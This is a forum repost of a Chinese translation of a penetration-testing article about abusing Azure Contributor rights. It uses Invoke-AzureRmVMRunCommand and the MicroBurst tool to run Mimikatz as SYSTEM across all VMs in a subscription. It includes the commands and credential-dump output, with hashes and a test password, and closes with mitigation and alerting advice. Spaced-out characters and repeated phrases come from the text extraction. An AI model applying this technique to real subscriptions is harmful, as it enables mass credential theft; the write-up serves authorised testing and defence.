搜索

[13566] 2018-12-23_如何在AzureVMs中大规模运行PowerShell？

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2018-12-23_如何在AzureVMs中大规模运行PowerShell？ 如 何 在 A z u r e   V M s 中 大 规 模 运 行 P o w e r S h e l l ？ s e c i s t   F r e e B u f   2 0 1 8 - 1 2 - 2 3 前 言 前 言 假 设 当 前 你 正 在 进 行 某 项 渗 透 测 试 任 务 ， 其 中 假 设 当 前 你 正 在 进 行 某 项 渗 透 测 试 任 务 ， 其 中 A z u r e 基 础 架 构 也 包 含 在 你 的 测 试 范 围 内 ， 并 且 你 恰 好 可 以 访 问 基 础 架 构 也 包 含 在 你 的 测 试 范 围 内 ， 并 且 你 恰 好 可 以 访 问 A z u r e 订 阅 上 一 个 具 有 订 阅 上 一 个 具 有 “ 贡 献 者 （ 贡 献 者 （ C o n t r i b u t o r ） ） ” 权 限 的 域 帐 户 。 虽 说 在 实 际 场 景 中 ， 贡 献 者 权 限 并 没 有 这 么 容 权 限 的 域 帐 户 。 虽 说 在 实 际 场 景 中 ， 贡 献 者 权 限 并 没 有 这 么 容 易 获 取 到 。 但 在 我 的 渗 透 测 试 工 作 中 ， 我 也 经 常 看 到 贡 献 者 权 限 会 被 分 发 给 一 些 开 发 人 员 。 如 果 你 够 幸 运 的 易 获 取 到 。 但 在 我 的 渗 透 测 试 工 作 中 ， 我 也 经 常 看 到 贡 献 者 权 限 会 被 分 发 给 一 些 开 发 人 员 。 如 果 你 够 幸 运 的 话 ， 一 些 管 理 员 可 能 会 添 加 域 用 户 组 作 为 订 阅 的 贡 献 者 。 或 者 ， 我 们 也 可 以 假 设 是 从 低 权 限 用 户 一 步 步 提 升 到 话 ， 一 些 管 理 员 可 能 会 添 加 域 用 户 组 作 为 订 阅 的 贡 献 者 。 或 者 ， 我 们 也 可 以 假 设 是 从 低 权 限 用 户 一 步 步 提 升 到 贡 献 者 帐 户 的 。 贡 献 者 帐 户 的 。 此 时 ， 我 们 可 以 尝 试 收 集 可 用 凭 据 ， 转 储 配 置 数 据 ， 并 尝 试 进 一 步 的 访 问 订 阅 中 的 其 他 帐 户 （ 所 有 者 / 域 管 理 员 ） 。 出 于 本 文 的 目 的 ， 让 我 们 假 设 只 读 选 项 已 被 我 们 用 尽 ， 并 且 我 们 仍 然 被 某 个 特 权 用 户 所 困 ， 该 用 户 不 允 许 我 们 转 向 其 他 订 阅 （ 或 内 部 域 ） 。 攻 击 虚 拟 机 攻 击 虚 拟 机 针 对 虚 拟 机 的 攻 击 ， 我 们 可 以 做 一 些 有 影 响 力 的 测 试 并 p u l l   d o w n   V H D 文 件 快 照 ， 但 我 想 没 人 会 愿 意 去 下 载 1 0 0 多 G B 的 磁 盘 映 像 。 让 我 们 使 用 现 有 的 工 具 尝 试 在 V M 上 执 行 命 令 。 在 本 示 例 环 境 中 ， 假 设 没 有 任 何 的 V M 被 公 开 ， 并 且 你 也 没 有 开 放 任 何 防 火 墙 端 口 包 括 R D P 或 其 他 远 程 管 理 协 议 。 即 使 没 有 远 程 管 理 协 议 ， 我 们 也 可 以 通 过 几 种 不 同 的 方 式 在 A z u r e 环 境 中 执 行 代 码 。 你 可 以 使 用 A z u r e   A u t o m a t i o n （ 自 动 化 ） 在 A z u r e   V M 上 运 行 命 令 ， 但 是 本 文 我 们 将 重 点 关 注 I n v o k e - A z u r e R m V M R u n C o m m a n 命 令 （ A z u r e R M 模 块 的 一 部 分 ） 。 该 命 令 允 许 具 有 “ C o n t r i b u t o r ” 权 限 的 任 何 人 ， 在 订 阅 中 的 任 何 A z u r e   V M 上 以 N T   A u t h o r i t y S y s t e m 权 限 运 行 P o w e r S h e l l 脚 本 。 运 行 单 个 命 令 运 行 单 个 命 令 从 P o w e r S h e l l 中 的 A z u r e R M 会 话 运 行 此 命 令 ， 该 会 话 使 用 C o n t r i b u t o r 帐 户 进 行 身 份 验 证 。 你 可 以 使 用 L o g i n - A z u r e R m A c c o u n t 命 令 对 A z u r e 进 行 身 份 验 证 。 参 数 分 解 ： 参 数 分 解 ： R e s o u r c e G r o u p N a m e   –   V M 资 源 组 V M N a m e   –   V M 的 名 称 C o m m a n d I d   –   要 在 A z u r e 中 运 行 的 存 储 类 型 的 命 令 。 “ R u n P o w e r S h e l l S c r i p t ” 允 许 我 们 上 传 和 运 行 P o w e r S h e l l 脚 本 。 S c r i p t P a t h   –   你 要 运 行 的 P o w e r S h e l l   P S 1 文 件 的 路 径 。 你 可 以 使 用 G e t - A z u r e R m V M 命 令 获 取 V M N a m e 和 R e s o u r c e G r o u p N a m e 。 I n v o k e - A z u r e R m V M R u n C o m m a n d   - R e s o u r c e G r o u p N a m e   V M R e s o u r c e G r o u p N a m e   - V M N a m e   V M N a m e   - C o m m a n d I d   R u n P o w e r S h e l l S c r i p t   - S c r i p t P a t h   P a t h T o Y o u r S c r i p t
在 这 个 例 子 中 ， 我 在 I n v o k e - M i m i k a t z . p s 1 文 件 的 末 尾 添 加 了 一 个 额 外 行 （ I n v o k e - M i m i k a t z ） ， 以 便 在 导 入 后 运 行 该 函 数 。 以 下 是 V M 上 的 I n v o k e - M i m i k a t z . p s 1 脚 本 的 运 行 示 例 （ 没 有 登 录 真 实 帐 户 ） 。 运 行 多 个 命 令 运 行 多 个 命 令 我 已 将 I n v o k e - A z u r e R m V M B u l k C M D 添 加 到 了 M i c r o B u r s t ， 以 允 许 针 对 订 阅 中 的 多 个 V M 执 行 脚 本 。 使 用 该 命 令 ， 我 们 可 以 针 对 整 个 订 阅 ， 特 定 资 源 组 或 单 个 主 机 列 表 运 行 命 令 。 你 可 以 在 此 处 获 取 到 M i c r o B u r s t   -   h t t p s : / / g i t h u b . c o m / N e t S P I / M i c r o B u r s t 在 我 的 演 示 中 ， 我 将 在 我 的 测 试 订 阅 中 对 所 有 （ 5 ） 个 V M 运 行 M i m i k a t z ， 并 将 脚 本 的 输 出 写 入 到 一 个 日 志 文 件 。 P S   C : >   G e t - A z u r e R m V M   - s t a t u s   |   w h e r e   { $ _ . P o w e r S t a t e   - E Q   " V M   r u n n i n g " }   |   s e l e c t   R e s o u r c e G r o u p N a m e , N a m e R e s o u r c e G r o u p N a m e         N a m e               - - - - - - - - - - - - - - - - -         - - - -               T E S T R E S O U R C E S                 R e m o t e - T e s t P S   C : >   I n v o k e - A z u r e R m V M R u n C o m m a n d   - R e s o u r c e G r o u p N a m e   T E S T R E S O U R C E S   - V M N a m e   R e m o t e - T e s t   - C o m m a n d I d   R u n P o w e r S h e l l S c r i p t   - S c r i p t P a t h   M i m i k a t z . p s 1 V a l u e [ 0 ]                 :       C o d e                     :   C o m p o n e n t S t a t u s / S t d O u t / s u c c e e d e d     L e v e l                   :   I n f o     D i s p l a y S t a t u s   :   P r o v i s i o n i n g   s u c c e e d e d     M e s s a g e               :       . # # # # # .       m i m i k a t z   2 . 0   a l p h a   ( x 6 4 )   r e l e a s e   " K i w i   e n   C "   ( F e b   1 6   2 0 1 5   2 2 : 1 5 : 2 8 )   . # #   ^   # # .       # #   /     # #     / *   *   *   # #     /   # #       B e n j a m i n   D E L P Y   ` g e n t i l k i w i `   (   b e n j a m i n @ g e n t i l k i w i . c o m   )   ' # #   v   # # '       h t t p : / / b l o g . g e n t i l k i w i . c o m / m i m i k a t z                           ( o e . e o )     ' # # # # # '                                                                           w i t h   1 5   m o d u l e s   *   *   * / m i m i k a t z ( p o w e r s h e l l )   #   s e k u r l s a : : l o g o n p a s s w o r d s A u t h e n t i c a t i o n   I d   :   0   ;   9 9 6   ( 0 0 0 0 0 0 0 0 : 0 0 0 0 0 3 e 4 ) S e s s i o n                       :   S e r v i c e   f r o m   0 U s e r   N a m e                   :   N e t S P I - T e s t D o m a i n                         :   W O R K G R O U P S I D                               :   S - 1 - 5 - 2 0                                   m s v   :                   [ 0 0 0 0 0 0 0 3 ]   P r i m a r y                   *   U s e r n a m e   :   N e t S P I - T e s t                   *   D o m a i n       :   W O R K G R O U P                   *   L M               :   d 0 e 9 a e e 1 4 9 6 5 5 a 6 0 7 5 e 4 5 4 0 a f 1 f 2 2 d 3 b                   *   N T L M           :   c c 3 6 c f 7 a 8 5 1 4 8 9 3 e f c c d 3 3 2 4 4 6 1 5 8 b 1 a                   *   S H A 1           :   a 2 9 9 9 1 2 f 3 d c 7 c f 0 0 2 3 a e f 8 e 4 3 6 1 a b f c 0 3 e 9 a 8 c 3 0                 t s p k g   :                   *   U s e r n a m e   :   N e t S P I - T e s t                   *   D o m a i n       :   W O R K G R O U P                   *   P a s s w o r d   :   w a z a 1 2 3 4 /   m i m i k a t z ( p o w e r s h e l l )   #   e x i t   B y e !       V a l u e [ 1 ]   :   C o d e   :   C o m p o n e n t S t a t u s / S t d E r r / s u c c e e d e d   L e v e l   :   I n f o   D i s p l a y S t a t u s   :   P r o v i s i o n i n g   s u c c e e d e d   M e s s a g e   :   S t a t u s   :   S u c c e e d e d   C a p a c i t y   :   0   C o u n t   :   0 I m p o r t - m o d u l e   M i c r o B u r s t . p s m 1
在 5 个 V M 上 运 行 M i m i k a t z 的 总 时 长 为 7 分 1 4 秒 。 单 从 效 率 上 看 并 不 理 想 （ 见 下 文 ） ， 但 却 很 实 用 。 由 于 时 间 的 原 因 我 并 没 有 创 建 多 线 程 ， 但 如 果 有 人 愿 意 帮 我 完 成 ， 那 么 欢 迎 随 时 向 我 发 送 p u l l   r e q u e s t 。 其 他 想 法 其 他 想 法 出 于 演 示 目 的 ， 我 在 所 有 V M 上 运 行 了 M i m i k a t z 。 除 此 之 外 ， 你 可 能 需 要 考 虑 其 他 的 P o w e r S h e l l 选 项 ： I n v o k e - A z u r e R m V M B u l k C M D   - S c r i p t   M i m i k a t z . p s 1   - V e r b o s e   - o u t p u t   O u t p u t . t x t E x e c u t i n g   M i m i k a t z . p s 1   a g a i n s t   a l l   ( 5 )   V M s   i n   t h e   T e s t i n g R e s o u r c e s   S u b s c r i p t i o n A r e   y o u   S u r e   Y o u   W a n t   T o   P r o c e e d :   ( Y / n ) : V E R B O S E :   R u n n i n g   . M i m i k a t z . p s 1   o n   t h e   R e m o t e - E a s t U S 2   -   ( 1 0 . 2 . 1 0 . 4   :   5 2 . 1 7 9 . 2 1 4 . 3 )   v i r t u a l   m a c h i n e   ( 1   o f   5 ) V E R B O S E :   S c r i p t   S t a t u s :   S u c c e e d e d V E R B O S E :   S c r i p t   o u t p u t   w r i t t e n   t o   O u t p u t . t x t V E R B O S E :   S c r i p t   E x e c u t i o n   C o m p l e t e d   o n   R e m o t e - E a s t U S 2   -   ( 1 0 . 2 . 1 0 . 4   :   5 2 . 1 7 9 . 2 1 4 . 3 ) V E R B O S E :   S c r i p t   E x e c u t i o n   C o m p l e t e d   i n   9 9   s e c o n d s V E R B O S E :   R u n n i n g   . M i m i k a t z . p s 1   o n   t h e   R e m o t e - E A s i a   -   ( 1 0 . 2 . 9 . 4   :   6 5 . 5 2 . 1 6 1 . 9 6 )   v i r t u a l   m a c h i n e   ( 2   o f   5 ) V E R B O S E :   S c r i p t   S t a t u s :   S u c c e e d e d V E R B O S E :   S c r i p t   o u t p u t   w r i t t e n   t o   O u t p u t . t x t V E R B O S E :   S c r i p t   E x e c u t i o n   C o m p l e t e d   o n   R e m o t e - E A s i a   -   ( 1 0 . 2 . 9 . 4   :   6 5 . 5 2 . 1 6 1 . 9 6 ) V E R B O S E :   S c r i p t   E x e c u t i o n   C o m p l e t e d   i n   9 9   s e c o n d s V E R B O S E :   R u n n i n g   . M i m i k a t z . p s 1   o n   t h e   R e m o t e - J a p a n E   -   ( 1 0 . 2 . 1 2 . 4   :   1 3 . 7 8 . 4 0 . 1 8 5 )   v i r t u a l   m a c h i n e   ( 3   o f   5 ) V E R B O S E :   S c r i p t   S t a t u s :   S u c c e e d e d V E R B O S E :   S c r i p t   o u t p u t   w r i t t e n   t o   O u t p u t . t x t V E R B O S E :   S c r i p t   E x e c u t i o n   C o m p l e t e d   o n   R e m o t e - J a p a n E   -   ( 1 0 . 2 . 1 2 . 4   :   1 3 . 7 8 . 4 0 . 1 8 5 ) V E R B O S E :   S c r i p t   E x e c u t i o n   C o m p l e t e d   i n   6 9   s e c o n d s V E R B O S E :   R u n n i n g   . M i m i k a t z . p s 1   o n   t h e   R e m o t e - J a p a n W   -   ( 1 0 . 2 . 1 3 . 4   :   4 0 . 7 4 . 6 6 . 1 5 3 )   v i r t u a l   m a c h i n e   ( 4   o f   5 ) V E R B O S E :   S c r i p t   S t a t u s :   S u c c e e d e d V E R B O S E :   S c r i p t   o u t p u t   w r i t t e n   t o   O u t p u t . t x t V E R B O S E :   S c r i p t   E x e c u t i o n   C o m p l e t e d   o n   R e m o t e - J a p a n W   -   ( 1 0 . 2 . 1 3 . 4   :   4 0 . 7 4 . 6 6 . 1 5 3 ) V E R B O S E :   S c r i p t   E x e c u t i o n   C o m p l e t e d   i n   6 9   s e c o n d s V E R B O S E :   R u n n i n g   . M i m i k a t z . p s 1   o n   t h e   R e m o t e - F r a n c e   -   ( 1 0 . 2 . 1 1 . 4   :   4 0 . 8 9 . 1 3 0 . 2 0 6 )   v i r t u a l   m a c h i n e   ( 5   o f   5 ) V E R B O S E :   S c r i p t   S t a t u s :   S u c c e e d e d V E R B O S E :   S c r i p t   o u t p u t   w r i t t e n   t o   O u t p u t . t x t V E R B O S E :   S c r i p t   E x e c u t i o n   C o m p l e t e d   o n   R e m o t e - F r a n c e   -   ( 1 0 . 2 . 1 1 . 4   :   4 0 . 8 9 . 1 3 0 . 2 0 6 ) V E R B O S E :   S c r i p t   E x e c u t i o n   C o m p l e t e d   i n   9 8   s e c o n d s
S p a w n   C o b a l t   S t r i k e ， E m p i r e   或   M e t a s p l o i t   s e s s i o n s 搜 索 敏 感 文 件 在 一 个 V M 上 运 行 域 信 息 收 集 脚 本 ， 并 使 用 输 出 来 定 位 其 他 特 定 V M 以 执 行 代 码 性 能 问 题 性 能 问 题 注 意 ， 以 上 操 作 均 为 在 实 验 环 境 中 完 成 。 如 果 你 选 择 在 现 实 场 景 中 使 用 ， 那 么 请 记 住 一 点 ： 并 非 所 有 A z u r e 区 域 或 V M 映 像 都 是 以 相 同 的 方 式 进 行 响 应 的 。 在 我 的 测 试 当 中 我 发 现 某 些 区 域 和 V M 会 更 适 合 运 行 这 些 命 令 ， 而 在 非 美 国 的 A z u r e 区 域 则 出 现 了 命 令 无 法 执 行 使 用 等 问 题 。 因 此 ， 在 实 际 测 试 使 用 当 中 ， 你 可 能 会 遇 到 各 种 本 文 未 提 及 的 问 题 。 但 在 大 多 数 情 况 下 ， 我 对 美 国 地 区 和 标 准 的 W i n d o w s   S e r v e r   2 0 1 2 映 像 都 很 满 意 。 在 我 的 测 试 中 ， I n v o k e - M i m i k a t z . p s 1 脚 本 通 常 需 要 大 约 3 0 - 6 0 秒 才 能 运 行 。 记 住 ， 每 次 执 行 都 必 须 将 脚 本 上 传 到 V M 。 缓 解 措 施 及 检 测 缓 解 措 施 及 检 测 作 为 管 理 员 应 该 正 确 分 配 所 有 者 和 贡 献 者 的 权 限 ， 因 为 丢 失 贡 献 者 权 限 就 相 当 于 拿 下 所 有 虚 拟 机 的 系 统 权 限 。 想 要 减 少 贡 献 者 执 行 这 些 命 令 的 权 限 ， 请 为 你 的 贡 献 者 创 建 一 个 新 角 色 ， 并 限 制 用 户 的 M i c r o s o f t . C o m p u t e / v i r t u a l M a c h i n e s / r u n C o m m a n d / a c t i o n 权 限 。 另 外 ， 你 可 以 留 意 “ R u n   C o m m a n d   o n   V i r t u a l   M a c h i n e ” 日 志 条 目 来 发 现 该 问 题 。 你 可 以 为 此 设 置 警 报 ， 除 非 I n v o k e - A z u r e R m V M R u n C o m m a n d 是 V M 管 理 过 程 中 不 可 或 缺 的 一 部 分 ， 否 则 应 该 很 容 易 被 检 测 到 当 有 人 使 用 这 个 命 令 时 。 以 下 设 置 将 在 任 何 人 尝 试 使 用 该 命 令 （ 成 功 或 失 败 ） 时 通 知 你 。 你 还 可 以 将 该 警 报 的 范 围 扩 展 到 订 阅 中 的 所 有 V M 。 最 后 ， 如 果 你 对 该 脚 本 有 任 何 的 疑 问 或 改 进 建 议 ， 欢 迎 随 时 通 过 M i c r o B u r s t   G i t h u b 页 面 与 我 们 取 得 联 系 ！ * 参 考 来 源 ： n e t s p i ， F B 小 编 s e c i s t 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理